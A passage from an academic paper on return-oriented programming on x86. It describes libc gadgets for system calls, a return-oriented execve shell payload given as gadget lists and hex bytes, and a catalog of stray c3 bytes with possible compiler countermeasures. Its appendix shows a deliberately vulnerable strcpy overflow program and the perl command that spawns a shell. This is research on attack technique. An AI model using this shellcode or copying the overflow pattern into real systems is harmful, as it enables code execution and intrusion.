2. trap into the kernel (indirectly through the kernel-supplied linux-gate.so.1); and

3. check for error and translate the return value appropriately, leaving it in %eax.

A typical example is the code for umask:

89 da mov %ebx, %edx
8b 5c 24 04 movl 4(%esp), %ebx
b8 3c 00 00 00 mov $0x0000003C, %eax
65 ff 15 10 00 00 00 lcall %gs:0x10(,0)
89 d3 mov %edx, %ebx
c3 ret

The GS-segment lcall invokes __kernel_vsyscall, which issues the sysenter or int 0x80 instruction
(cf. [8]). If we set up the system call parameters ourselves and jump into a wrapper at step 2— that
is, immediately before the lcall in the fourth line, for umask— we can invoke any system call we
choose, with any arguments.

For system calls, then, it is safe to use intended sequences in libc, rather than the (largely) un-
intended sequences elsewhere. Since nearly all useful programs make system calls, the requirement
that a system call wrapper function be available is milder than the requirement that specific libc
routines, such as system, be available. On Linux, we can also do away with this assumption by
calling __kernel_vsyscall directly, after finding it by parsing the elf auxiliary vectors (cf. [7]).
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%esp
pop %eax
ret

(call index)

pop %esp
ret

lcall %gs:0x10(,0)
ret

Figure 15: A system call with no arguments; the system call index is stored in the second word
from bottom. Arguments could be loaded beforehand into %ebx, %ecx, etc. We leave space in case
the vsyscall function spills values onto the stack, as the sysenter-based version does. Note that
the word pointing to lcall would be overwritten also; a repeatable version of this gadget would need
to restore it each time.
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We detail, in Figure 15, a gadget that invokes a system call. Arguments could be loaded ahead
of time into the appropriate registers: in order, %ebx, %ecx, %edx, %esi, %edi, and %ebp. One
way to load these registers is as follows. Using the techniques of Section 3.1, load the desired value
into %eax, then write it into the second word of a gadget whose first word points to an instruction
sequence of the form pop %r32; ret, where r32 is the register to set.

3.5 Function Calls

Finally, we note that nothing prevents us from making calls to arbitrary functions in libc. This is,
in fact, the basis for previous return-into-libc exploits, and the required techniques are described
in by Nergal [21]; the discussion of “frame faking” is of particular interest. It suffices to add that
it is best to invoke functions with the stack pointer set to a part of the stack not used by other
return-oriented code, because otherwise those functions might, in using the stack, trash a gadget
that we intend to reinvoke.

4 Return-Oriented Shellcode

We now present a return-oriented shellcode as an application of the techniques laid out in Section 3.
Our shellcode invokes the execve system call to run a shell. This requires: (1) setting the system
call index, in %eax, to 0xb; (2) setting the path of the program to run, in %ebx, to the string
“/bin/sh”; (3) setting the argument vector argv, in %ecx, to an array of two pointers, the first
of which points to the string “/bin/sh” and the second of which is null; and (4) setting the
environment vector envp, in %edx, to an array of one pointer, which is null. The shellcode is in
Figure 16.

We store “/bin/sh” in the top two words of the shellcode; we use the next two words for the
argv array, and reuse the higher of these also for the envp array. We can set up the appropriate
pointers as part of the shellcode itself, but to avoid nul bytes we must zero out the null-pointer
word after the shellcode has been injected.

The rest of the shellcode behaves as follows:

• Word 1 (from the bottom) sets %eax to zero.

• Words 2–4 load into %edx the address of the second word in argv (minus 24; see Section 3.1.2)
and, in preparation for setting the system call index, load into %ecx the all-0b word.

• Word 5 sets the second word in argv to zero.

• Word 6 sets %eax to 0x0b by modifying its least significant byte, %al.

• Words 7–8 point %ebx at the string “/bin/sh”.

• Words 9–11 set %ecx to the address of the argv array and %edx to the address of the envp
array.

• Word 12 traps into the kernel — see Section 3.4.

Provided that the addresses of the libc instruction sequences pointed to and of the stack ad-
dresses pointed to do no contain nul bytes, this shellcode contains no nul bytes except for the
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%esp
xor %eax, %eax
ret

pop %ecx
pop %edx
ret

0x0b0b0b0b

+ 24

movl %eax, 24(%edx)
ret

add %ch, %al
ret

pop %ebx
ret

pop %ecx
pop %edx
ret

lcall %gs:0x10(,0)
ret

(word to zero)

/bin

/sh\0

Figure 16: Shellcode.

terminator for the string “/bin/sh”. Nul bytes in the stack addresses can be worked around by
having the shellcode build these addresses at runtime by examining %esp and operating on it; this
would also allow the shellcode to be placed at various stack positions without needing retargeting.
Nul bytes in libc addresses can be handled using the techniques recalled in Section 1.2.5.

Suppose that libc is loaded at base address 0x03000000 into some program. Suppose, moreover,
that this program has a function exploitable by buffer overflow, with return address stored at
0x04ffffefc. In this case, the shellcode given above yields:

3e 78 03 03 07 7f 02 03 0b 0b 0b 0b 18 ff ff 4f
30 7f 02 03 4f 37 05 03 bd ad 06 03 34 ff ff 4f
07 7f 02 03 2c ff ff 4f 30 ff ff 4f 55 d7 08 03
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34 ff ff 4f ad fb ca de 2f 62 69 6e 2f 73 68 00

Note that there is no nul byte except the very last. Like all the other examples of return-oriented
code presented in this paper, this shellcode uses only code that is already present in libc, and will
function even in the presence of W⊕X.

In Appendix A, we show that this shellcode can in fact be used to exploit a vulnerable program
by means of a buffer overflow on the stack.

5 A Catalog of rets

In this section, we give some statistics about the origin of c3 bytes in the libc executable segment.
Our methodology is a as follows. For each c3 byte that we find, we check whether it is within a
span of bytes belonging to a function that is exported in libc’s SYMTAB section.8 If so, we include
it in our statistics. We then disassemble the function until we discover which instruction includes
the c3 byte. Not all of libc’s executable segment is covered by exported functions. Some of the
segment is taken up by elf headers, and some by static functions that are not named in the SYMTAB
section. Nevertheless, this methodology is sufficient to allow us to draw meaningful conclusions.

Out of 975,626 covered bytes, 5,483 are c3 bytes, or one in every 178. (This is more than the
expected one-in-256 because ret instructions occur often.)

• 3,429 are actually ret instructions. Since there are only 3,157 unique entrypoints listed in the
SYMTAB section, this means that some functions have more than one return instruction.

• 1,692 occur in the ModR/M byte for an add imm32, %ebx instruction, opcode 81 c3 imm32.
Immediate-add is part of “Immediate Grp 1” (opcodes 80–83), which use bits 3–5 of the
ModR/M byte to encode an opcode extension. In this case bits 6 and 7 (11) specify that the
target is a register; bits 0–2 (011) name %ebx; and bits 3–5 (000) specify an add operation.
For comparison, 81 c2 would encode add imm32, %edx, and 81 cb would encode or imm32,
%ebx. See Tables 2-1 and A-4 of [12].

• 290 occur in immediate displacements. Of these, 273 specify offsets to the instruction point—
109 relative calls, 100 relative conditional jumps, and 64 relative unconditional jumps —and
the other 17 specify data offsets, as in movb %al, -61(%ebp), opcode 88 45 c3.

• 35 occur in a proper ModR/M byte, which indicates %eax and %ebx as source and target,
respectively. Of these, 33 are in the instruction add %eax, %ebx, opcode 89 c3, and the other
two are shrd %cl, %eax, %ebx and shld %cl, %eax, %ebx, opcodes 0f ad c3 and 0f a5 c3.

• 28 occur in immediate constants, in add, mov, and movw instructions.

• 8 occur in the SIB byte, indicating addressing of the form (%ebx,%eax,8). These all happen
to be in instances of the instruction movl r/m32, r32 in which the ModR/M byte specifies
SIB+disp32 addressing. (Opcodes: 8b modr/m c3 imm32, with modr/m being of the form
10bbb100.)

• 1 occurs in the floating point operation fld %st(3), opcode d9 c3. (More generally, d9 c0+i
encodes fld %st(i).)

8There are substantially more functions listed in the SYMTAB section than in the DYNSYM section, which lists only
the functions that are actually made available for dynamic linking.
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5.1 Can we avoid spurious rets?

Some modest changes to GCC might yield a libc without unintended c3 bytes. For example, each
procedure could have only a single exit point (with the standard leave; ret sequence), to which early
exits could jump. The %ebx register could be avoided as an accumulator for adds. Moves from
%eax to %ebx could be avoided or written using instructions other than mov. Instruction placement
could be jiggered— in most cases, at least — to avoid offsets with c3 bytes in them.

Such a strategy might indeed succeed in ridding generated executables of unintended c3 bytes.
The cost would be a compiler that is less transparent and more complicated, and a certain loss
of efficiency in the use of registers on an already register-starved architecture: %ebx is handy
as an accumulator because, unlike %eax, %ecx, and %edx, it is callee-saved in the Intel calling
convention [32].

We must be clear, however, that while this would eliminate unintended rets, it would not
eliminate unintended sequences of instructions that end in a ret. This is because whereas the
attacker is now constrained to choosing attack strings that are suffixes of valid libc functions, he
still need not begin his strings on an intended instruction boundary. Thus, for example, the libc
entrypoint svc_getreq ends with the following cleanup code:

81 c4 88 00 00 00 add $0x00000088, %esp
5f pop %edi
5d pop %ebp
c3 ret

Taking the last four bytes of this, the adversary instead obtains

00 5f 5d addb %bl, 93(%edi)
c3 ret

There is a more fundamental problem, however. The gadgets we described in Section 3 made
use only of instruction sequences ending in c3 bytes because these were sufficient. However, the x86
ISA actually includes four opcodes that perform a return instruction: c3 (near return), c2 imm16

(near return with stack unwind), cb (far return), and ca imm16 (far return with stack unwind). The
variants with stack unwind, having popped the return address off the stack, increment the stack
pointer by imm16 bytes; this is useful in calling conventions where arguments are callee-cleaned.
The far variants pop %cs off the stack as well as %eip. These three variants are more difficult to use
in exploits of the sort we describe. For the far variants, the correct code segment must be placed
on the stack; for the stack-unwind variants, a stack underflow must be avoided. Nevertheless, it
should be possible to use them. And eliminating instances of all four would be difficult, as it would
require avoiding four byte values out of 256.

Moreover, if we have the ability to load immediate values into registers, for example using the
techniques of Section 3.1, then we can use some sequences that do not end in a ret. For example, if
%ebx points to a ret instruction in libc, then any sequence ending in jmp %ebx can be used. This
is simply register springs (cf. [6, 5]) in a return-into-libc context. With a bit more setup, we can
also use sequences ending in jmp imm(%esp), if the word at imm(%esp) contains the address of a
ret, and again with other registers replacing %esp. This translates to the return-into-libc context a
technique due to Litchfield [17].

Finally, we note that the libc executable image includes areas that are not intended as executable
code: notably, the elf headers. These might contain return instructions as well, which modifying
the compiler will not address.
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6 Conclusion and Future Work

We presented a new way of organizing return-into-libc exploits on the x86 that is fundamentally
different from previous techniques. By means of static analysis we discovered short instruction
sequences; we then showed how to combine such sequences into gadgets that allow an attacker to
perform arbitrary computation. There are several directions for future work.

A first direction is towards greater automation and integration with existing technologies. Given
a collection of gadgets, one could create add a return-oriented backend to gcc or llvm. To build
our gadgets we combed over the output of Galileo manually. It should be possible, however, to
analyze the available code sequences automatically to discover how to combine them into gadgets.

A second research direction would attempt to validate (or invalidate) our thesis by examining
C libraries in other platforms. While the gadgets we describe all derive from a particular distribution
of gnu libc, the techniques we present for discovering sequences and combining them into gadgets
should be universally applicable. A preliminary analysis we conducted of msvcrt.dll, the Microsoft
C runtime, seemed promising.
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A Shellcode Target Details

Consider the target code in Figure 17. The return address stored by overflow is at address
0x04ffffefc, and buf is at 0x04ffffeb8 — 68 bytes below the return address: 64 for the buffer, 4 for
the saved frame pointer.

In this case, we obtain the following run of execution:

% ./target ‘perl -e ’print "A"x68,
pack("c*",0x3e,0x78,0x03,0x03,0x07,0x7f,0x02,0x03,

0x0b,0x0b,0x0b,0x0b,0x18,0xff,0xff,0x4f,
0x30,0x7f,0x02,0x03,0x4f,0x37,0x05,0x03,
0xbd,0xad,0x06,0x03,0x34,0xff,0xff,0x4f,
0x07,0x7f,0x02,0x03,0x2c,0xff,0xff,0x4f,
0x30,0xff,0xff,0x4f,0x55,0xd7,0x08,0x03,
0x34,0xff,0xff,0x4f,0xad,0xfb,0xca,0xde,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0)’‘

sh-3.1$
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void do_map_libc(void) {
int fd;
struct stat sb;

fd = open("libc-2.3.5.so", O_RDONLY, 0);
fstat(fd, &sb);
mmap((void *)0x03000000, sb.st_size,

PROT_READ|PROT_EXEC, MAP_FIXED|MAP_SHARED, fd, 0);
}

void do_map_stack(void) {
int fd;

fd = open("/dev/zero", O_RDONLY, 0)
mmap(0x04f000000, 0x001000000, PROT_READ|PROT_WRITE,

MAP_FIXED|MAP_PRIVATE, fd, 0);
}

void overflow(char *arg) {
char buf[64];
strcpy(buf, arg);

}

void move_stack(char *arg) {
__asm("mov $0x04fffff00, %esp\n");
overflow(arg);
_exit(0);

}

int main(int argc, char *argv[]) {
do_map_libc(); do_map_stack();
move_stack(argv[1]);

}

Figure 17: Vulnerable target program.
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